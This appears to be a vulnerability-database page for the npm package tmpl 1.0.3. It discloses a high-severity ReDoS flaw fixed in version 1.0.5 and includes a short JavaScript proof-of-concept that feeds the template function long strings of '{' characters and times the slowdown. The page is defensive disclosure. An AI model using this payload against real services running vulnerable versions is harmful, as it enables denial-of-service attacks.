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tmpl@1.0.3 vulnerabilities

JavaScript micro templates.

  • latest version

    1.0.5

  • latest non vulnerable version

    1.0.5

  • first published

    13 years ago

  • latest version published

    3 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the tmpl package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the main functionality.

    PoC

    var tmpl = require("tmpl")
for(var i = 1; i <= 1000; i++) {
        var time = Date.now();
        payload = "hello, " + "{".repeat(i*10000) + "day"
        tmpl(payload, {day: "tomorrow"})
        var time_taken = Date.now() - time;
        console.log("payload length: " + payload.length + " - time taken: " + time_taken + "ms")
}

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade tmpl to version 1.0.5 or higher.

    <1.0.5
    Go back to all versions of this package